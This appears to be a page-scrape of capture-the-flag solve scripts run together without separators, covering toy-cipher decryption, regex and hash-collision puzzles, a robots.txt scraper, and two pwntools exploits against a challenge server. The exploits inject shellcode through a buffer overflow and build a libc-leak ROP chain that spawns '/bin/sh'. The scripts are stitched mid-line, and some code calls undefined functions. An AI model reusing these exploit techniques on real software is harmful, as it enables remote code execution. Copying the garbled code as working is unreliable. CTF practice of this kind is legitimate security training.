Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
pow(2,d,n) = 6988657481551558082247356502049073555445834960458123409957016751759848663748957581745765821251560463116160058343877506687308278177291145929388813582775374779608479102031123070130884836405070747154679986845156643241478440121477925138458904221698167029178546870148776935453953443880872009172082519317501149012455829269460844949849248020656483858589254435455075272473746709134180160158806676630015405416208672802814910130080253447731590299483535693930068012996241754780781956591655213569734780947677248231246527075795680938730043262907407842607229576669856011494756829604513528777334097324387135227622403213595884626182import random
rounds = 5
block_size = 8
invsa = {
0: 1,
1: 13,
2: 14,
3: 9,
4: 3,
5: 6,
6: 5,
7: 4,
8: 8,
9: 10,
10: 7,
11: 2,
12: 12,
13: 0,
14: 15,
15: 11
}
invsb = {
0: 3,
1: 11,
2: 4,
3: 10,
4: 9,
5: 1,
6: 2,
7: 8,
8: 13,
9: 0,
10: 6,
11: 7,
12: 15,
13: 12,
14: 5,
15: 14
}
key = [47, 16, 47, 16, 47, 16, 47, 16]
to_bin = lambda x, n=block_size: format(x, "b").zfill(n)
to_int = lambda x: int(x, 2)
to_chr = lambda x: "".join([chr(i) for i in x])
to_ord = lambda x: [ord(i) for i in x]
bin_join = lambda x, n=int(block_size / 2): (str(x[0]).zfill(n) + str(x[1]).zfill(n))
bin_split = lambda x: (x[0 : int(block_size / 2)], x[int(block_size / 2) :])
str_split = lambda x: [x[i : i + block_size] for i in range(0, len(x), block_size)]
xor = lambda x, y: x ^ y
def sinv(a, b):
return invsa[a], invsb[b]
def pinv(a):
return a[2] + a[5] + a[0] + a[5] + a[1] + a[7] + a[6] + a[4]
def ks(k):
return [
k[i : i + int(block_size)] + k[0 : (i + block_size) - len(k)]
for i in range(rounds)
]
def kx(state, k):
return [xor(state[i], k[i]) for i in range(len(state))]
def eee(i):
a, b = bin_split(to_bin(ord(i)))
sa, sb = s(to_int(a), to_int(b))
pe = p(
bin_join((to_bin(sa, int(block_size / 2)), to_bin(sb, int(block_size / 2))))
)
return to_int(pe)
def dec(ct):
decrypted = []
for i in ct:
for pt in range(256):
if eee(chr(pt)) == ord(i):
decrypted.append(pt)
return decrypted
def decrypt(ct,k):
keys = ks(k)
state = str_split(ct)
for b in range(len(state)):
for i in range(rounds):
rk = dec((state[b]))
state[b] = to_chr(kx((rk), keys[i])) # xor with key
print(state[b])
return [ord(e) for es in state for e in es]
ct = to_str([63, 253, 213, 105, 250, 191, 55, 105, 226, 221, 223, 55, 55, 56, 55, 82, 146, 243, 159, 55, 55, 135, 213, 55, 94, 243, 55, 221, 94, 57, 226, 105, 196, 30, 213, 240, 91, 221, 152, 30, 213, 253, 37, 128])
print(decrypt(ct,key))from pwn import *
import random
regex1 = [str(i) for i in range(100, 1000)]
regex2 = [i * 5 for i in 'abcdefghijklmnop']
regex3 = ['1.' + '1'*i for i in range(1, 1000)]
regex4 = ['+' + '1'*i for i in range(3, 1000)]
regex5 = ['<' + 'a'*i + '>' for i in range(1, 1000)]
regex6 = [f'0{i}:{j}' for i in range(10) for j in range(60)]
regex7 = [f'1{i}-01-{j}' for i in range(100, 1000) for j in range(10, 30)]
regex8 = ['a'*i + '@a.com' for i in range(1, 200)]
regex9 = ['https://www.youtube.com/channel/UC' + i + j + 20*k + '/' for i in 'abcdefghijklmnopq' for j in 'abcdefghijklmnopq' for k in 'abcdefghijklmnopq']
regexA = [' '.join(['.....']*i) for i in range(1, 200)]
regexB = ['1.1.1.' + str(i) for i in range(256)]
regexC = ['0'*i for i in range(1, 100)]
regexD = ['00' + '::'*i for i in range(1, 200)]
r = remote("challenge.ctf.games", 30811)
while True:
r.recvuntil('?\n')
regex = r.recvline().strip().decode()
if regex == '^\d{3}$':
pwned = regex1.pop()
elif regex == '^\w{5}$':
pwned = regex2.pop()
elif regex == '^\d*\.\d+$':
pwned = regex3.pop()
elif regex == '^\+?(\d.*){3,}$':
pwned = regex4.pop()
elif regex == '<\/?[\w\s]*>|<.+[\W]>':
pwned = regex5.pop()
elif regex == '^(0?[1-9]|1[0-2]):[0-5][0-9]$':
pwned = regex6.pop()
elif regex == '([12]\d{3}-(0[1-9]|1[0-2])-(0[1-9]|[12]\d|3[01]))':
pwned = regex7.pop()
elif regex == '^([a-zA-Z0-9._%-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,6})*$':
pwned = regex8.pop()
elif regex == 'https?:\/\/(www\.)?youtube.com\/channel\/UC([-_a-z0-9]{22})/':
pwned = regex9.pop()
elif regex == '^[.-]{1,5}(?:[ \\t]+[.-]{1,5})*(?:[ \\t]+[.-]{1,5}(?:[ \\t]+[.-]{1,5})*)*$':
pwned = regexA.pop()
elif regex == '^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$':
pwned = regexB.pop()
elif regex == r'^(?:(?:\(?(?:00|\+)([1-4]\d\d|[1-9]\d?)\)?)?[\-\.\ \\\/]?)?((?:\(?\d{1,}\)?[\-\.\ \\\/]?){0,})(?:[\-\.\ \\\/]?(?:#|ext\.?|extension|x)[\-\.\ \\\/]?(\d+))?$':
pwned = regexC.pop()
elif regex == r'(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))':
pwned = regexD.pop()
else:
print(f"Error couldn't find valid regex for {regex}")
log.success("Regex: " + regex)
log.success("Generated: " + pwned)
r.recvuntil('> ')
r.sendline(pwned)from pwn import *
import string
def recvline(r):
lines = [r.recvline().decode()[1:] for _ in range(8)]
chunks = [[l[i:i+6] for i in range(0, len(l), 7)] for l in lines]
chars = list(zip(*chunks))
return chars
def recvall(r, timeout=1):
while i := r.recvline(timeout=timeout).decode():
pass
mapping = {}
with remote('challenge.ctf.games', 30877) as r:
recvall(r, timeout=5)
for c in string.ascii_letters + string.digits + '+=/':
r.sendline(c)
r.recvline()
result = recvline(r)[0]
mapping[result] = c
print(c, '\n'.join(result), sep='\n')
recvall(r)
r.sendline('base64 flag.png')
r.recvline()
with open('b64flag.hd', 'w') as f:
while True:
for i in recvline(r):
print('\n'.join(i))
result = mapping.get(i, ' ')
f.write(result)import hashlib
def hash(string):
return hashlib.sha256(string).hexdigest()
time = b"12345678901"
name = b"test"
import os, binascii
import re
while True:
answer = binascii.hexlify(os.urandom(20))
thing = hash(name + answer + time)
if len(re.findall('^(.{5}0e[\d]{18})', thing)) > 0:
print(re.findall('^.....0e\d{18}', thing))
print(name + b" " + answer + b" " + time)
print(thing)
exit()from pwn import *
context.arch = 'amd64'
e = ELF("./seashells")
p = e.process() if args.LOCAL else remote('challenge.ctf.games', 32134)
addr = int(p.recvline(),16)
p.recvuntil(":")
sc = asm(shellcraft.amd64.linux.sh())
payload = fit({0: sc, 0x88: addr})
p.sendline(payload)
p.interactive()from pwn import *
NUM_TO_RBP = 0x80
fakestack = 0x404500
padding = b'A'*NUM_TO_RBP + p64(fakestack)
context.arch = 'amd64'
e = ELF("./patches")
libc = e.libc
p = e.process() if args.LOCAL else remote('challenge.ctf.games', 30585)
p.recvuntil('> ')
rop = ROP(e)
#ret2plt libc leak
poprdi = rop.find_gadget(['pop rdi','ret']).address
retgadget = rop.find_gadget(['ret']).address
chain = flat(poprdi, e.got['puts'],e.plt['puts'],retgadget,0x000000000040123c)
pause()
p.sendline(padding + chain)
leak = p.recvline()[:-1].ljust(8,b'\x00')
puts = u64(leak)
log.info(f"Libc leak: {hex(puts)}")
libcbase = puts - libc.symbols['puts']
libc.address = libcbase
log.info(f"Libc base: {hex(libcbase)}")
# Build rop chain to read into RW section, then execve
rop2 = ROP(libc)
rop2.read(0,0x404300,8)
rop2.execve(0x404300,0,0)
payload = padding + rop2.chain()
p.sendline(payload)
p.send(b'/bin/sh\x00')
p.interactive()url= "http://challenge.ctf.games:31879/robots.txt"
aurl= "http://challenge.ctf.games:31879/"
import urllib.request
def get(url, ua):
req = urllib.request.Request(
url,
data=None,
headers={
'User-Agent': ua
}
)
return req
flag = ["" for i in range(35)]
while "" in flag:
with urllib.request.urlopen(url) as response:
html = response.read()
lines = html.decode().split("\n")
for line in lines:
if "User-agent:" in line:
ua = line[12:]
if "Disallow: " in line:
thing = line[10:]
theurl = aurl + thing
req = get(theurl,ua)
with urllib.request.urlopen(req) as response:
resp = response.read().decode()
if "REJOICE" in resp:
print(resp, line)
thonk = resp.split("INDEX ")
filename = thing[1:]
a1 = int(thonk[1].split(" IS")[0])
a2 = int(thonk[2].split(" IN")[0])
flag[a1] = filename[a2]
print(flag)
print("".join(flag))